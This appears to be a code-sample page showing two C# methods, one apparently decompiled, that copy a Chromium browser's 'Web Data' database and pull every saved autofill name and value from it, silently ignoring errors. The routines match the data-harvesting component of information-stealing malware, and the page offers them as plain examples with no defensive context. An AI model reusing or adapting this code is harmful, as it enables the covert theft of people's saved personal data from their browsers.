예제 #1
0
        public List <BrowserAutofill> EnumFills(string profilePath)
        {
            List <BrowserAutofill> list = new List <BrowserAutofill>();

            try
            {
                string text = Path.Combine(profilePath, "Web Data");
                if (!File.Exists(text))
                {
                    return(list);
                }
                CNT cNT = new CNT(rcvr.CreateTempCopy(text));
                cNT.ReadTable("autofill");
                for (int i = 0; i < cNT.RowLength; i++)
                {
                    BrowserAutofill browserAutofill = null;
                    try
                    {
                        browserAutofill = new BrowserAutofill
                        {
                            Name  = cNT.ParseValue(i, "name").Trim(),
                            Value = cNT.ParseValue(i, "value").Trim()
                        };
                    }
                    catch
                    {
                    }
                    if (browserAutofill != null)
                    {
                        list.Add(browserAutofill);
                    }
                }
                return(list);
            }
            catch
            {
                return(list);
            }
        }
예제 #2
0
        // Token: 0x060000AF RID: 175 RVA: 0x00005790 File Offset: 0x00003990
        public static IEnumerable <BrowserAutofill> ExtractAutofills(string profilePath)
        {
            List <BrowserAutofill> list = new List <BrowserAutofill>();

            try
            {
                string text = Path.Combine(profilePath, "Web Data");
                if (!File.Exists(text))
                {
                    return(list);
                }
                SQLiteManager sqliteManager = new SQLiteManager(ChromiumManager.CreateTempCopy(text));
                sqliteManager.ReadTable("autofill");
                for (int i = 0; i < sqliteManager.GetRowCount(); i++)
                {
                    BrowserAutofill browserAutofill = null;
                    try
                    {
                        browserAutofill = new BrowserAutofill
                        {
                            Name  = sqliteManager.GetValue(i, "name").Trim(),
                            Value = sqliteManager.GetValue(i, "value").Trim()
                        };
                    }
                    catch
                    {
                    }
                    if (browserAutofill != null)
                    {
                        list.Add(browserAutofill);
                    }
                }
            }
            catch
            {
            }
            return(list);
        }